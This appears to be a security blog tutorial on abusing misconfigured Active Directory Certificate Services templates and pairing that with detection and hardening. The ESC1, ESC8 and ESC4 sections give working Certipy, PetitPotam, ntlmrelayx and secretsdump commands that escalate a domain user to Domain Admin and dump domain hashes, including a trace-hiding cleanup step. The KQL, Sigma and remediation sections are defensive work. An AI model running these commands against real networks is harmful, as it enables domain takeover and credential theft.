A low-privileged domain user — someone in the Helpdesk group, with no admin rights — runs a single command. Thirty seconds later, they’re Domain Admin. No vulnerability exploit, no zero-day. Just a misconfigured certificate template that’s been sitting in Active Directory Certificate Services for years.

This is the reality of ADCS abuse, and it’s happening in real environments right now.

TL;DR

  • Active Directory Certificate Services (ADCS) is present in the majority of enterprise Windows environments — and is almost universally misconfigured
  • Certipy (open source Python tool) can enumerate every ADCS misconfiguration and exploit them in minutes
  • ESC1 lets any low-priv user request a certificate as any domain user, including Domain Admin — direct privilege escalation
  • ESC8 chains NTLM relay with the ADCS Web Enrollment interface to obtain a Domain Controller certificate — enabling DCSync
  • Detection requires specific Windows Event IDs (4886, 4887) and SIEM rules most organizations don’t have in place

Why ADCS Is the Most Underrated Attack Surface in Active Directory

Active Directory Certificate Services is Microsoft’s built-in Public Key Infrastructure (PKI) solution. Organizations use it to issue digital certificates for things like:

  • Smart card login and passwordless authentication
  • VPN and Wi-Fi authentication (802.1X)
  • Code signing and document signing
  • Encrypted email (S/MIME)

Here’s the problem: ADCS was designed in an era before AD security was well understood. The default certificate templates — many present since Windows Server 2003 — grant enrollment permissions to broad groups like “Domain Users” or “Authenticated Users.” And the settings that make a template dangerous are buried in obscure configuration flags that most administrators have never reviewed.

SpecterOps published their landmark research “Certified Pre-Owned” in 2021, identifying 8+ distinct privilege escalation categories (ESC1 through ESC8). Since then, Certipy has automated their discovery and exploitation entirely. In 2025, Certipy v5 added support for ESC9 through ESC16 — the attack surface keeps growing.

If your domain runs ADCS, you almost certainly have at least one of these misconfigurations.


Core Concepts

Before getting into attack techniques, let’s cover the key terms:

Certificate Authority (CA) — The server that issues certificates. Think of it like a passport office: it verifies identity and stamps official documents. In AD, this is typically a Windows Server running ADCS.

Certificate Template — A blueprint that defines what kind of certificate gets issued, who can request it, and what it can be used for. Templates have names like “User,” “Computer,” “WebServer,” “SmartCardLogon.” The misconfiguration is almost always in here.

Subject Alternative Name (SAN) — An optional field in a certificate that specifies alternative identities the certificate is valid for. Normally, the CA controls this. If a template lets the requester set the SAN, an attacker can request a certificate claiming to be anyone — including Domain Admin.

EKU (Extended Key Usage) — Defines what the certificate is allowed to do: client authentication, code signing, server authentication, etc. “Client Authentication” is what matters for AD attacks — it lets you authenticate as the certificate’s subject.

PKINIT — The Kerberos extension that allows a certificate to be used for Kerberos authentication. This is the bridge between certificate abuse and domain takeover: get a valid certificate for a privileged account → authenticate with Kerberos → get a TGT → get the hash → game over.


The ESC Framework: A Map of ADCS Misconfigurations

The “ESC” naming (ESC1, ESC2, …) comes from SpecterOps’ research. Each number identifies a specific class of misconfiguration. Here’s a quick overview:

ESCMisconfigurationWhat It Allows
ESC1Template lets requester supply SANRequest cert as any domain user, including DA
ESC2”Any Purpose” EKU on templateCertificate valid for any use, including authentication
ESC3Enrollment Agent templateTwo-stage: get agent cert → request cert on behalf of DA
ESC4Vulnerable template ACLsLow-priv user can modify the template → convert to ESC1
ESC6CA-level EDITF_ATTRIBUTESUBJECTALTNAME2 flagAll requests on all templates can supply custom SAN
ESC7Vulnerable CA ACLsUser has ManageCA rights → approve cert requests, add templates
ESC8NTLM relay to ADCS HTTP enrollmentRelay DC authentication to web enrollment → get DC cert
ESC9No Security Extension flagSAN mapping exploited — attacker renames account to match target
ESC13IssuancePolicy linked to AD groupCert grants group membership privileges
ESC15Application Policy override (EKUwu)CSR-supplied policy overrides template EKU in v1 templates

We’ll cover ESC1, ESC8, and ESC4 in detail — these are the most commonly found and exploited in real engagements.


The Tool: Certipy

Certipy is an open source Python tool by Oliver Lyak (ly4k) that does everything you need for ADCS attacks:

Terminal window
pip install certipy-ad

The core workflow is two commands:

Terminal window
# Step 1: Enumerate — find all vulnerable templates and configurations
certipy find -u jsmith@corp.local -p 'Password123' -dc-ip 10.0.0.1 -vulnerable
# Step 2: Exploit — request a certificate using a vulnerable template
certipy req -u jsmith@corp.local -p 'Password123' \
-ca CORP-CA \
-template VulnerableTemplate \
-upn administrator@corp.local \
-dc-ip 10.0.0.1
# Step 3: Authenticate — use the certificate to get NTLM hash + TGT
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1

The find command produces a JSON report listing every misconfigured template, ranked by severity. In most environments, this list is not empty.


Attack 1: ESC1 — Direct Privilege Escalation via SAN Abuse

ESC1 is the most common and most impactful ADCS misconfiguration. It’s also the simplest to exploit.

What Makes a Template Vulnerable to ESC1

A template is vulnerable to ESC1 when all three of these conditions are true:

  1. Enrollee Supplies Subject is enabled (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) → The person requesting the certificate gets to specify who the certificate belongs to
  2. Client Authentication EKU is present → The certificate can be used for Kerberos/NTLM authentication
  3. Low-privileged accounts can enroll (Domain Users, Authenticated Users, etc.) → Anyone in the domain can request the certificate

When all three exist: any domain user can request a certificate that says it belongs to “administrator@corp.local.” Active Directory trusts the certificate. That user is now Domain Admin.

Step-by-Step ESC1 Attack

Step 1: Find vulnerable templates

Terminal window
certipy find -u jsmith@corp.local -p 'Password123' \
-dc-ip 10.0.0.1 -vulnerable -stdout

Look for output like:

Template Name : CorpUser
Enabled : True
Client Authentication : True
Enrollee Supplies Subject : True
[!] Vulnerabilities
ESC1 : 'CORP\\Domain Users' can enroll ...

Step 2: Request a certificate as Domain Admin

Terminal window
certipy req -u jsmith@corp.local -p 'Password123' \
-ca CORP-CA \
-template CorpUser \
-upn administrator@corp.local \ # ← SAN we're supplying
-dc-ip 10.0.0.1
# Output: Saved certificate and private key to 'administrator.pfx'

Step 3: Authenticate using the certificate

Terminal window
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1
# Output: Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:...
# Saved TGT to administrator.ccache

Certipy uses PKINIT to authenticate and extracts the NT hash. You can now pass-the-hash to any service, or use the TGT directly with tools like impacket.

Step 4: Verify domain control

Terminal window
# DCSync using the retrieved hash
secretsdump.py -hashes :NThash corp.local/administrator@dc01.corp.local
# Or use the TGT for kerberos auth
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass dc01.corp.local

Total time from enumeration to Domain Admin: under 5 minutes in most environments.


Attack 2: ESC8 — NTLM Relay to ADCS Web Enrollment

ESC8 is more complex but doesn’t require any vulnerable template configuration. It exploits the ADCS HTTP Web Enrollment interface — an optional component that lets users request certificates through a web browser at http://ca-server/certsrv.

The attack: force a Domain Controller to authenticate to you via NTLM, then relay that authentication to the ADCS web enrollment interface to obtain a machine certificate for the DC. A DC machine certificate grants you DCSync capabilities.

Prerequisites

  • ADCS Web Enrollment (certsrv) is installed and accessible
  • The enrollment endpoint is HTTP (not HTTPS with EPA — Extended Protection for Authentication)
  • NTLM is allowed (still the default in most environments)

The Attack Chain

  1. Coerce — PetitPotam forces the Domain Controller to authenticate outbound (NTLM)
  2. Relay — ntlmrelayx forwards that authentication to ADCS HTTP Web Enrollment
  3. Certificate — CA issues a machine certificate for DC$ to the attacker
  4. Authenticatecertipy auth uses the cert via PKINIT → TGT for DC$
  5. DCSync — secretsdump dumps all domain hashes including krbtgt
  6. Game over — Golden Ticket, full domain compromise

Step 1: Set up the relay

Terminal window
# ntlmrelayx from impacket — relay to ADCS web enrollment
# -t = target (ADCS server), --adcs = ADCS relay mode, --template = which template to request
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp \
--adcs \
--template DomainController

Step 2: Coerce DC authentication (PetitPotam)

Terminal window
# PetitPotam — abuses MS-EFSRPC to force the DC to authenticate to us
# This works even without credentials in unpatched environments
python3 PetitPotam.py -u '' -p '' attacker-ip dc01.corp.local

PetitPotam exploits the Encrypting File System Remote Protocol. It tells the DC “hey, connect back to me for a file operation” — the DC obliges with NTLM authentication, which we relay directly to ADCS.

Step 3: ntlmrelayx delivers the certificate

[*] SMBD-Thread-4: Connection from DC01$@10.0.0.5 controlled, attacking target http://ca.corp.local
[*] HTTP server returned error code 200, treating as a successful login
[*] Generating CSR...
[*] GOT CERTIFICATE! Saved as DC01$.pfx

Step 4: Authenticate as the DC

Terminal window
certipy auth -pfx 'DC01$.pfx' -dc-ip 10.0.0.1
# Output: Got hash for 'dc01$@corp.local': ...
# Saved TGT to dc01$.ccache

Step 5: DCSync — dump the entire domain

Terminal window
export KRB5CCNAME=dc01$.ccache
secretsdump.py -k -no-pass dc01.corp.local
# Dumps: krbtgt, Administrator, all domain hashes

With the krbtgt hash, you can create Golden Tickets valid for 10 years. The domain never recovers without a full AD rebuild.


Attack 3: ESC4 — Rewriting Templates via ACL Abuse

ESC4 is a stealthy escalation path. Instead of exploiting an already-vulnerable template, an attacker finds a template where they have write permissions — then modifies it to become vulnerable to ESC1.

Why This Matters

Sometimes an organization audits their templates and removes the obvious ESC1 misconfigurations. But if a low-privileged user (or service account) has WriteOwner, WriteDACL, or WriteProperty rights on a template, the attacker can simply re-enable the misconfiguration.

The Attack

Terminal window
# Step 1: Find templates with vulnerable ACLs
certipy find -u jsmith@corp.local -p 'Password123' -dc-ip 10.0.0.1 -vulnerable
# Look for ESC4 findings — template write permissions
# Step 2: Save the current template config (so you can restore it)
certipy template -u jsmith@corp.local -p 'Password123' \
-template VulnerableACLTemplate \
-dc-ip 10.0.0.1 \
-save-old
# Step 3: Overwrite the template to enable ESC1
certipy template -u jsmith@corp.local -p 'Password123' \
-template VulnerableACLTemplate \
-dc-ip 10.0.0.1 \
-configuration 'CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT'
# Step 4: Now exploit as ESC1 (request cert as DA)
certipy req -u jsmith@corp.local -p 'Password123' \
-ca CORP-CA -template VulnerableACLTemplate \
-upn administrator@corp.local -dc-ip 10.0.0.1
# Step 5: Restore template (clean up — good opsec)
certipy template -u jsmith@corp.local -p 'Password123' \
-template VulnerableACLTemplate \
-dc-ip 10.0.0.1 \
-configuration old

This attack leaves minimal traces — the template modification happens in milliseconds, the exploit runs, and the template is restored before anyone notices.


Other ESCs Worth Knowing

ESC6 — CA-Level SAN Flag

Instead of a misconfigured template, the CA itself has EDITF_ATTRIBUTESUBJECTALTNAME2 enabled. This flag overrides every template and allows any certificate requester to supply a custom SAN — regardless of template settings. A single CA flag compromise affects all templates simultaneously.

Terminal window
# ESC6 detection
certipy find ... -stdout | grep -A2 "ESC6"
# Exploit: request cert on any template with client auth EKU
certipy req -u jsmith@corp.local -p 'Password123' \
-ca CORP-CA -template User \
-upn administrator@corp.local -dc-ip 10.0.0.1

ESC7 — Vulnerable CA ACLs

A user has ManageCA or ManageCertificates rights on the CA itself. With ManageCA, an attacker can enable the EDITF_ATTRIBUTESUBJECTALTNAME2 flag (turning it into ESC6), approve pending certificate requests, or add themselves as a CA officer.

ESC15 (EKUwu) — CVE-2024-49019

Patched in November 2024 Patch Tuesday but still relevant in unpatched environments. Version 1 templates (the oldest format, still common) allow the CSR to include Application Policy extensions that override the template’s EKU. An attacker requests a certificate with a szOID_PKIX_KP_CLIENT_AUTH Application Policy — even if the template specifies something non-authentication-related. The default “WebServer” template was exploitable out of the box.


Blue Team: Detection

Enable ADCS Auditing (It’s Off by Default)

The most critical first step — ADCS does not log certificate requests by default. You must enable it on the CA:

Terminal window
# Enable ADCS success and failure auditing
certutil -setreg CA\AuditFilter 127
net stop certsvc && net start certsvc

This enables Event IDs 4886 and 4887 in the Windows Security log on the CA server.

Critical Event IDs

Event IDSourceMeaning
4886CA Security LogCertificate request received
4887CA Security LogCertificate issued
4888CA Security LogCertificate request denied
4768DC Security LogKerberos TGT request (PKINIT auth shows Certificate Issuer)
4769DC Security LogKerberos service ticket request
4898CA Security LogCertificate Services loaded a template

KQL Detection: ESC1 — Subject Mismatch

The defining characteristic of ESC1 exploitation: the requester and the certificate subject are different identities.

// Detect certificate issued where requester ≠ certificate subject
// Requires Microsoft Sentinel + ADCS logs forwarded
SecurityEvent
| where EventID == 4887
| extend
RequesterName = tostring(EventData.RequesterName),
SubjectUserName = tostring(EventData.SubjectUserName)
| where RequesterName !contains SubjectUserName
| where SubjectUserName contains "admin"
or SubjectUserName contains "da-"
or SubjectUserName contains "svc-"
| project TimeGenerated, RequesterName, SubjectUserName,
TemplateName = tostring(EventData.TemplateName),
CallerIpAddress = tostring(EventData.ClientAddress)
| sort by TimeGenerated desc

KQL Detection: Bulk Certificate Requests

Certipy’s find command and reconnaissance creates multiple certificate requests in quick succession:

// Alert on more than 5 certificate requests from the same user in 10 minutes
SecurityEvent
| where EventID == 4886
| summarize RequestCount = count(),
Templates = make_set(tostring(EventData.TemplateName))
by RequesterName = tostring(EventData.RequesterName),
bin(TimeGenerated, 10m)
| where RequestCount > 5
| sort by RequestCount desc

KQL Detection: ESC8 — NTLM Relay Indicator

Machine accounts requesting user-type certificates (or vice versa) is a strong signal:

// Machine account (ending in $) requesting a non-machine certificate template
SecurityEvent
| where EventID == 4887
| extend RequesterName = tostring(EventData.RequesterName)
| where RequesterName endswith "$" // machine account
| where tostring(EventData.TemplateName) !in ("Machine", "DomainController",
"DomainControllerAuthentication",
"KerberosAuthentication",
"Computer")
| project TimeGenerated, RequesterName,
TemplateName = tostring(EventData.TemplateName),
CallerIpAddress = tostring(EventData.ClientAddress)

KQL Detection: Certificate-Based Kerberos Authentication

After obtaining a certificate, the attacker authenticates via PKINIT. This shows up in 4768 events with a specific authentication type:

// Kerberos authentication using a certificate (PKINIT)
// Especially suspicious for privileged accounts from unusual sources
SecurityEvent
| where EventID == 4768
| where tostring(EventData.CertIssuerName) != "" // cert-based auth
| extend AccountName = tostring(EventData.TargetUserName)
| where AccountName in~ ("administrator", "krbtgt")
or AccountName startswith "da-" // adjust to your naming conventions
| project TimeGenerated, AccountName,
CertIssuer = tostring(EventData.CertIssuerName),
IpAddress = tostring(EventData.IpAddress)
| sort by TimeGenerated desc

Sigma Rule: ESC1 Exploitation

title: ADCS ESC1 Certificate Request Subject Mismatch
id: a7f3d9c2-1b4e-4f8a-9c2d-3e5f7a8b9d0e
status: experimental
description: Detects certificate issued where subject differs from requester — indicative of ESC1 exploitation
references:
- https://github.com/ly4k/Certipy
- https://posts.specterops.io/certified-pre-owned-d95910965cd2
logsource:
product: windows
service: security
detection:
selection:
EventID: 4887
filter_same_subject:
# Requester and subject should match in normal operation
SubjectUserName|contains: '%RequesterName%'
condition: selection and not filter_same_subject
falsepositives:
- Enrollment Agent scenarios (ESC3) where delegation is intentional
- Some PKI-on-behalf-of workflows
level: high
tags:
- attack.privilege_escalation
- attack.t1649

MITRE ATT&CK Mapping

TechniqueIDDescription
Steal or Forge Authentication CertificatesT1649Core ADCS abuse technique
Valid Accounts: Domain AccountsT1078.002Using obtained credentials post-cert-auth
OS Credential Dumping: DCSyncT1003.006Post-ESC8 domain dump
Abuse Elevation Control MechanismT1548ESC4 template modification
LLMNR/NBT-NS Poisoning and SMB RelayT1557.001ESC8 relay component
Forge Web Credentials: SAML TokensT1606.002Related cloud identity abuse post-compromise

What You Can Do Today

Immediate: Enumerate Your Exposure

Run Certipy in your environment right now — this is authorized use in your own network:

Terminal window
# From any domain-joined system or with domain credentials
certipy find -u youruser@yourdomain.local -p 'yourpassword' \
-dc-ip <dc-ip> -vulnerable -output adcs_audit

This generates adcs_audit.json and adcs_audit.txt with every vulnerable template listed. If the -vulnerable output is empty, you’re in rare company.

Fix ESC1: Remove “Enrollee Supplies Subject”

In the Certificate Templates console (certtmpl.msc):

  1. Right-click vulnerable template → Properties
  2. Subject Name tab
  3. Change from “Supply in the request” → “Build from Active Directory information”

Or via PowerShell:

Terminal window
# Find and audit template settings
Get-CertificateTemplate | Where-Object {
$_.Flags -band 0x1 # CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
} | Select-Object Name, @{N="Flags";E={[Convert]::ToString($_.Flags,16)}}

Fix ESC8: Require HTTPS + EPA on Web Enrollment

Terminal window
# Require SSL on the certsrv virtual directory in IIS
# (Run on the CA/web enrollment server)
Import-Module WebAdministration
Set-WebConfigurationProperty -pspath 'IIS:\Sites\Default Web Site\CertSrv' `
-filter "system.webServer/security/access" `
-name "sslFlags" `
-value "Ssl,SslNegotiateCert"

Enable Extended Protection for Authentication in the CA settings:

certutil -setreg CA\AuthEncRequired 1
net stop certsvc && net start certsvc

Fix ESC6: Remove the CA-Level SAN Flag

Terminal window
# Remove EDITF_ATTRIBUTESUBJECTALTNAME2 from the CA
certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc

Audit Certificate Template ACLs (ESC4)

Terminal window
# Check all templates for dangerous permissions
$templates = Get-CertificateTemplate
foreach ($t in $templates) {
$acl = $t | Get-Acl
$dangerous = $acl.Access | Where-Object {
$_.ActiveDirectoryRights -match "WriteOwner|WriteDACL|WriteProperty" -and
$_.IdentityReference -notmatch "Enterprise Admins|Domain Admins|SYSTEM"
}
if ($dangerous) {
Write-Warning "Vulnerable ACL on template: $($t.Name)"
$dangerous | Select-Object IdentityReference, ActiveDirectoryRights
}
}

Enable ADCS Auditing Everywhere

Terminal window
# On every CA in your environment
certutil -setreg CA\AuditFilter 127
net stop certsvc && net start certsvc
# Verify
certutil -getreg CA\AuditFilter
# Should return: 0x7f (127)

Enforce Certificate Mapping (February 2025)

Microsoft moved to Full Enforcement mode for Kerberos certificate mapping in February 2025. Ensure your DCs are patched and the enforcement mode is active — this breaks certain certificate spoofing scenarios:

Terminal window
# Verify enforcement mode on DC
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\Kdc -Name StrongCertificateBindingEnforcement
# Value 2 = Full Enforcement (correct)
# Value 1 = Compatibility mode (still vulnerable to some attacks)
# Value 0 = Disabled (vulnerable)

Conclusion

ADCS has been described as “a skeleton key to Active Directory” — and that’s accurate. A single misconfigured certificate template turns domain user into domain admin with no privilege boundary in between.

The good news: Certipy’s find command gives defenders the same visibility as attackers. Run it in your environment. Fix what it finds. Enable CA auditing and build the KQL rules.

The bad news: most organizations running ADCS have never audited it. The misconfigurations are often years old, introduced during initial deployment when the security implications weren’t understood. And unlike a missing patch, they won’t get fixed automatically.

Start with enumeration — then work through the findings by severity. ESC1 and ESC8 first. ESC6 if the flag is set. Template ACLs last. This is achievable hardening, and it closes some of the most impactful attack paths in any Windows environment.


Investigating suspicious certificate requests in your SIEM? Our SOC Log Analyzer parses Windows Security Event Log entries — paste Event ID 4886/4887 output for a structured breakdown of requester, subject, and template details.



Sources